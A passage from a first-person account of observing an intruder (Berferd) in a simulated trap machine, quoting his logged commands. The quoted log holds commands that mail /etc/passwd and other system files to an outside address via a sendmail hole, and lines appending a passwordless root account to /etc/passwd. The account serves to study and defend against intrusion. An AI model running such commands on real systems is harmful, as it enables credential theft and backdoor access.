The sendmail DEBUG hole queues the desired commands for execution.
It was time to catch up with all the commands he had tried after I went to sleep, including those attempts to erase all our files.
To simulate the nasty rm command, I took the machine down for a little while, cleaned up the simulated password file, and left a message from our hapless system administrator in /etc/motd about a disk crash. The log showed the rest of the queued commands:
mail adrian@embezzle.stanford.edu < /etc/passwd mail adrian@embezzle.stanford.edu < /etc/hosts mail adrian@embezzle.stanford.edu < /etc/inetd.conf ps -aux|mail adrian@embezzle.stanford.edu ps -aux|mail adrian@embezzle.stanford.edu mail adrian@embezzle.stanford.edu < /etc/inetd.conf
I mailed him the four simulated files, including the huge and useless /etc/hosts file. I even mailed him error messages for the two ps commands in direct violation of the no-errors Decision.
In the afternoon he was still there, mistyping away:
13:41 Attempt to login to inet with bfrd from decaf.Stanford.EDU 13:41 Attempt to login to inet with bfrd from decaf.Stanford.EDU 14:05 Attempt to login to inet with bfrd from decaf.Stanford.EDU 16:07 echo "bffr ::7007:0::/:/v/bin/sh" >> /etc/o^Hpasswd 16:08 echo "bffr ::7007:0::/:/v/bin/sh" >> /etc/passwd
He worked for another hour that afternoon, and from time to time over the next week or so. We continued this charade at the Dallas CNN Usenix, where Berferd's commands were simulated from the terminal room about twice a day. This response time was stretching credibility, but his faith seemed unflagging.